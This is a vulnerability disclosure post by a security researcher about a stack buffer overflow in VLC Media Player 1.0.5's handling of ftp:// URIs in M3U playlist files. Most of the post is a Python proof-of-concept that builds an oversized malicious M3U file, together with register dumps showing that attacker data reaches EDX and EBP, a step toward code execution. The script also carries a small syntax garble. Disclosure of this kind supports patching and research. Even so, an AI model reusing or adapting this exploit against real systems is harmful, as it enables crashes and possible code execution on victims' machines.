There a Vulnerability in VLC Media Player v1.0.5 (Goldeneye) when handling M3U files with ftp:// URI handler. When we open the malicious file our EDX and EBP registers point to the user supplied data which might lead to code execution. State of the registers when we opne the malicious file is: EAX 00000000 ECX 7008A2B7 ASCII ";type=" EDX 01DC743B ASCII " ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ EBX 01C8C120 ESP 0324FB78 EBP 01D19008 ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ESI 00000000 EDI 00000000 EIP 77C47C7E msvcrt.77C47C7E C 0 ES 0023 32bit 0(FFFFFFFF) Attaching image for above stack trace and PoC script. #############START PYTHON######################## import sys import string print "\n\n***VLC Player M3U file ftp:// URI Handler Remote Stack Buffer Overflow***\n" #Tested on Microsoft Windows XP Professional SP3 # Application Vulnerable: VLC Media Player v1.0.5 (Goldeneye) # Not Vulnerable: VLC Media Player v1.1.0 (The Luggage), Checked on windows 7 #edx register points to our data afetr 4255 bytes buf1 = "ftp://"; + "PRAV" + "\x44" * 4251 buf2 = buf1 + "A" * 4 buf3 = buf2 + "Z" * (100000-4259) print "100000-4259 is: ", 100000-4259 print "Creating malicious M3U file . . .\n" filem3u=open('m3uftp.m3u','w') filem3u.write(buf3) filem3u.close() print "Created M3U file. Open with VLC Media Player v1.0.5 (Goldeneye)\n\n" ''' EAX 00000000 ECX 7008A2B7 ASCII ";type=" EDX 01DC743B ASCII "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ EBX 01C8C120 ESP 0324FB78 EBP 01D19008 ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ESI 00000000 EDI 00000000 EIP 77C47C7E msvcrt.77C47C7E C 0 ES 0023 32bit 0(FFFFFFFF) ''' #Hi to all Indian Hacker$, Andhra/ Telangana Hacker$ ;) # Praveen Darshanam #############END PYTHON########################### Hi to all Indian Hacker$, Andhra/ Telangana Hacker$ ;) Best Regards, Praveen Darshanam, Security Researcher
